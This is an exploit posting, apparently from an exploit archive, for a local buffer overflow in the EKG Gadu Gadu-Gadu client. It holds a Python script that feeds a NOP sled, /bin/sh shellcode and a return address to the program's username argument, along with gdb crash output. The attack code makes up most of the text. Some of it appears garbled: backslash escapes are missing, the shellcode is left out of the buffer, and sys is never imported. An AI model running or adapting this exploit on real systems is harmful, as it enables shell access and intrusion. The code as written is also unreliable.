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EKG Gadu 1.9~pre+r2855-3+b1 Local Buffer Overflow

Posted on 20 September 2016

# Exploit developed using Exploit Pack v6.01
# Exploit Author: Juan Sacco - http://www.exploitpack.com -
# jsacco@exploitpack.com
# Program affected: EKG Gadu
# Affected value: USERNAME
# Version: 1:1.9~pre+r2855-3+b1
#
# Tested and developed under: Kali Linux 2.0 x86 - https://www.kali.org
# Program description: console Gadu Gadu client for UNIX systems - ncurses UI
# EKG ("Eksperymentalny Klient Gadu-Gadu") is an open source
# Gadu-Gadu client for UNIX systems.
# Kali Linux 2.0 package: pool/main/e/ekg/ekg_1.9~pre+r2855-3+b1_i386.deb
# MD5sum: c752577dfb5ea44513a3fb351d431afa
# Website: http://ekg.chmurka.net/
#
# gdb$ run `python -c 'print "A"*258'`
# 0x0807e125 in strlcpy ()
# gdb$ backtrace
# #0 0x0807e125 in strlcpy ()
# #1 0x080570bb in ioctld_socket ()
# #2 0x08052e60 in main ()

import os, subprocess

def run():
try:
print "# EKG Gadu - Local Buffer Overflow by Juan Sacco"
print "# This Exploit has been developed using Exploit Pack -
http://exploitpack.com"
# NOPSLED + SHELLCODE + EIP

buffersize = 240
nopsled = "x90"*30
shellcode =
"x31xc0x50x68//shx68/binx89xe3x50x53x89xe1x99xb0x0bxcdx80"
eip = "x20xf1xffxbf"
buffer = nopsled * (buffersize-len(shellcode)) + eip
subprocess.call(["ekg ",' ', buffer])

except OSError as e:
if e.errno == os.errno.ENOENT:
print "Sorry, EKG Gadu - Not found!"
else:
print "Error executing exploit"
raise

def howtousage():
print "Snap! Something went wrong"
sys.exit(-1)

if __name__ == '__main__':
try:
print "Exploit EKG Gadu - Local Overflow Exploit"
print "Author: Juan Sacco - Exploit Pack"
except IndexError:
howtousage()
run()

 

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